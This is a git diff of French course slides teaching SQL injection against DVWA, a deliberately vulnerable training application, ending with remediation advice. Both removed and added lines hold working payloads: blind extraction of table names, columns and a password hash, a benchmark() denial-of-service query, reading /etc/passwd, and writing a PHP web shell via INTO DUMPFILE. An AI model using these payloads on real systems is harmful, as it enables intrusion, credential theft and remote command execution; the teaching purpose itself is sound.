diff --git a/content/slides/1337/md/sqli.md b/content/slides/1337/md/sqli.md
index d3e270f2cde4274a870168eb09b546394b2a60ec..2a5978c050ec25e16e921e7c8a1b15d51249a2fc 100644
--- a/content/slides/1337/md/sqli.md
+++ b/content/slides/1337/md/sqli.md
@@ -18,7 +18,7 @@
 
 ### <i class="fas fa-ice-cream"></i> SQLi / types
 
-* [topologie](https://www.linkedin.com/grp/post/36874-130061102)
+* [topologie](https://www.imperva.com/learn/application-security/sql-injection-sqli/#:~:text=SQL%20injections%20typically%20fall%20under,data%20and%20their%20damage%20potential)
 
 * [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection)
   * cas simple où les messages d'erreur base de données sont affichés
@@ -175,7 +175,7 @@ User ID: 6 ... #
 
 ### <i class="fa-solid fa-bomb"></i> SQLi / high
 
-Toutes la séquence SQLi / low est valide
+Toute la séquence SQLi / low est valide
 
 
 ### <i class="fa-solid fa-bomb"></i> Blind SQLi / low
@@ -251,148 +251,137 @@ déterminer le nom de la base de données
 ```
 
 
-## [<i class="fa fa-eye"></i> SQLi - security low](http://dv.wa/vulnerabilities/sqli_blind/)  
-
-```http
-http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, benchmark(5000000, encode('MSG', 'pass-phrase')) FROM users#&Submit=Submit
-```
+### <i class="fa-solid fa-bomb"></i> Blind SQLi / low
 
-* chiffre 5 000 000 de fois la chaîne 'MSG' en utlisant 'pass-phrase' comme mot de passe
-  * DoS
-  * utile pour les vraies blind SQLi
+déterminer le nom de la table
 
+```
+1' AND ORD(MID((SELECT table_name 
+FROM INFORMATION_SCHEMA.TABLES
+WHERE table_schema='dvwa' LIMIT 0,1),1,1)) = 103 # g 
+```
 
-## [<i class="fa fa-eye"></i> SQLi - security low](http://dv.wa/vulnerabilities/sqli_blind/)  
+déterminer le nombre de colonne de la table users
 
-```http
-http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, LOAD_FILE("/etc/passwd")#&Submit=Submit
+```
+1' AND ORD(MID((SELECT COUNT(column_name) 
+FROM INFORMATION_SCHEMA.COLUMNS 
+WHERE table_name='users' 
+AND table_schema='dvwa'),1,1)) = 56 # 8 -> 56 => 8
 ```
 
-affiche toutes le contenu du fichier /etc/passwd
 
-```http
-http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, "<?php system(\$_GET[cmd]) ?>" INTO DUMPFILE "/var/www/dvwa/hackable/uploads/shell.php"#&Submit=Submit
-```
+### <i class="fa-solid fa-bomb"></i> Blind SQLi / low
 
-écriture du fichier shell.php dans le système de fichiers
+déterminer le nom des colonnes de la table users
 
-```http
-http://dv.wa/hackable/uploads/shell.php?cmd=ls
 ```
-execution de commandes systèmes avec les privilèges du thread apache
-
+1' AND ORD(MID((SELECT column_name 
+FROM INFORMATION_SCHEMA.COLUMNS 
+WHERE table_name='users' 
+AND table_schema='dvwa' LIMIT 4,1),1,1)) = 112 # p 
+```
 
-## [<i class="fa fa-eye"></i> SQLi - security medium](http://dv.wa/vulnerabilities/sqli_blind/)
+déterminer le hash d'un user
 
-<i class="fa fa-exclamation-circle"></i> le code vulnérable a changé entre low et medium
+```
+1' AND ORD(MID((SELECT password FROM dvwa.users 
+WHERE user='Pablo'),1,1)) = 48 # 0
+```
 
-* utilisation de la fonction [mysql_real_escape_string()](http://php.net/manual/fr/function.mysql-real-escape-string.php)
-  * ajoute un anti-slash aux caractères suivants : NULL, \x00, \n, \r, \, ', " et \x1a.  
-    * contournable en appliquant l'encodage HTTP (HTML URL Encoding) aux caractères injectés
 
+### <i class="fa-solid fa-bomb"></i> Blind SQLi / medium
 
-## [<i class="fa fa-eye"></i> SQLi - security medium](http://dv.wa/vulnerabilities/sqli_blind/)
+reprendre les étapes Blind SQLi / low en remplacant 
 
-```http
-$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
+```
+User ID: 1' ... #
 ```
 
-devient
+<i class="fa-solid fa-arrow-right-arrow-left"></i>
 
-```http
-$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";
+```
+User ID: 1 ... #
 ```
 
+<small>
 
-## [<i class="fa fa-eye"></i> SQLi - security medium](http://dv.wa/vulnerabilities/sqli_blind/)
+`table_schema='dvwa'` 
 
-donc l'injection du niveau low
+<i class="fa-solid fa-arrow-right-arrow-left"></i>
 
-```http
-' OR user_id > 0#
-```
+`table_schema=0x64767761`
+
+</small>
 
-devient pour fonctionner au niveau medium
 
-```http
-1 OR user_id > 0#
-```
-devient une fois encodée
+### <i class="fa-solid fa-bomb"></i> Blind SQLi / high
 
-```http
-1%20OR%20user_id%20%3E%200
-```
+Toute la séquence Blind SQLi / low est valide
 
-et s'injecte directement via l'url
 
-```http
-http://dv.wa/vulnerabilities/sqli/?id=1%20OR%20user_id%20%3E%200&Submit=Submit
-```
+### <i class="fa-solid fa-bomb"></i> True Blind SQLi / Time based
 
-Note:
-- à saisir directement dans l'url
-- utiliser plutôt l'encoder de burp
-- sinon hackbar à comparer
-- https://www.information-security.fr/dvwa-sql-injection-solutions-protections/
+* Si aucun output n'est disponible
+  * on ajoute du calcul artificiellement
+    * la **payload** est exécutée
+      * le temps de réponse = temps de traitement + temps de calcul artificiel
+    * la **payload** n'est pas exécutée
+      * le temps  de réponse = temps de traitement
 
+problématique similaire à une booléenne
 
-## [SQLmap](http://sqlmap.org/)
 
-* Fait tous le boulot à votre palce
-  * une ligne de commmande
-    * affiche des résultats propres
-    * abstrait
-      * le moteur de base de données
-      * les différentes techniques d'injections
+### <i class="fa-solid fa-bomb"></i> True Blind SQLi / Time based
 
-```http
-sqlmap --url "http://dv.wa/vulnerabilities/sqli/?id=1&Submit=Submit#;" --cookie="PHPSESSID=ss07hir39n0drbanfiqh6rt7e2; security=low" --tables
+```
+User ID: 1' AND 1=0 UNION SELECT NULL, 
+benchmark(5000000, encode('MSG', 'pass-phrase')) 
+FROM users #
 ```
 
-<i class="fa fa-exclamation-circle"></i> remplacer par la valeur de votre jeton de session
+* chiffre 5 000 000 de fois la chaîne 'MSG' en utlisant 'pass-phrase' comme mot de passe
+  * DoS
+  * utile pour les **True Blind SQLi** ou **Time Based**
 
 
-### [<i class="fa fa-check-square"></i> SQLi (Blind) - security low](http://dv.wa/vulnerabilities/sqli_blind/)  
+### <i class="fa-solid fa-bomb"></i> SQLi / Low
 
-* on se concentre sur le user 1337 (id=3)
-  * on cherche à deviner son mot de passe
+<i class="fa-solid fa-triangle-exclamation"></i>   sous certaines conditions
 
-```http
-http://dv.wa/vulnerabilities/sqli_blind/?id=3' AND password LIKE 'a%'#&Submit=Submit
 ```
-
-n'affiche rien!! en revanche
-
-```http
-http://dv.wa/vulnerabilities/sqli_blind/?id=3' AND password LIKE '8%'#&Submit=Submit
+User ID: 6' UNION SELECT NULL, LOAD_FILE("/etc/passwd") #
 ```
 
-affiche
+affiche tout le contenu du fichier /etc/passwd
 
 ```
-ID: 3' AND password LIKE '8%
-First name: Hack
-Surname: Me
+User ID: 6' UNION SELECT NULL, "<?php system(\$_GET[cmd]) ?>" 
+  INTO DUMPFILE "/var/www/DVWA/hackable/uploads/shell.php" #
 ```
 
+écrit le fichier shell.php dans le système de fichiers
 
-## <i class="fa fa-eye-slash"></i> [True Blind SQL Injection](https://www.owasp.org/index.php/Blind_SQL_Injection)
 
-* Si aucun output n'est disponible
-  * on ajoute du calcul artificiellement
-    * la **payload** est exécutée
-      * le temps de réponse = temps de traitement + temps de calcul artificiel
-    * la **payload** n'est pas exécutée
-      * le temps  de réponse = temps de traitement
+## <i class="fa-solid fa-screwdriver-wrench"></i> [SQLmap](http://sqlmap.org/)
 
-problématique similaire à une booléenne
+* Fait tous le boulot à votre palce
+  * en ligne de commmande
+    * affiche des résultats propres
+    * abstrait
+      * le moteur de base de données
+      * les différentes techniques d'injections
 
-Note:
-- discussion sur les vraies blind
-- in fine même problème une fois scripter
+```http
+sqlmap --url "https://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id= #;" 
+--cookie="PHPSESSID=ss07hir39n0drbanfiqh6rt7e2; security=low" 
+--tables
+```
+
+<i class="fa fa-exclamation-circle"></i> remplacer par la valeur de votre jeton de session
 
 
-## <i class="fa fa-medkit"></i> Se préserver
+### <i class="fa fa-medkit"></i> SQLi / Fix
 
 * [Ne plus utiliser les fonctions mysql_ leur préférer mysqli_](http://stackoverflow.com/questions/548986/mysql-vs-mysqli-in-php)
 * Utiliser des requêtes préparées
@@ -400,13 +389,13 @@ Note:
 * Être le plus silencieux possibles quant aux requêtes invalides
   * [@](http://php.net/manual/fr/language.operators.errorcontrol.php) mais pas [or die()](http://php.net/manual/fr/function.die.php)
   * [error_reporting](http://php.net/manual/fr/function.error-reporting.php), pas [mysql_error()](http://php.net/mysql_error) ni [mysqli_error()](http://php.net/manual/fr/mysqli.error.php)
-* repérer les requêtes suspectes dans les logs
+* Repérer les requêtes suspectes dans les logs
 
 Note:
 - TODO regarder si les messages sont désactiables à partir de MySQL
 
 
-## <i class="fa fa-medkit"></i> Se préserver
+### <i class="fa fa-medkit"></i> SQLi / Fix
 
 * Filtrage par listes blanches
   * caster
@@ -416,12 +405,11 @@ Note:
     * [stripslashes()](http://php.net/manual/fr/function.stripslashes.php), [mysql_real_escape_string()](http://php.net/manual/fr/function.mysql-real-escape-string.php)
 
 
-## <i class="fa fa-medkit"></i> Se préserver
+### <i class="fa fa-medkit"></i> SQLi / Fix
 
 * Web Application Firewall (WAF)
     * [mod_security](https://www.modsecurity.org/)
-      * log le POST
-    * <i class="fa fa-fire"></i> [SQL Injection: Les techniques d’évasion de filtres](http://www.mcherifi.org/hacking/sql-injection-les-techniques-devasion-de-filtres.html)
+    * <i class="fas fa-fire"></i> [SQL Injection: Les techniques d’évasion de filtres](http://www.mcherifi.org/hacking/sql-injection-les-techniques-devasion-de-filtres.html)
 * Les privilèges de l'utilisateur SQL ont un sens
   * [FILE](https://dev.mysql.com/doc/refman/5.1/en/privileges-provided.html#priv_file)
   * attention aux permissions sur la base de données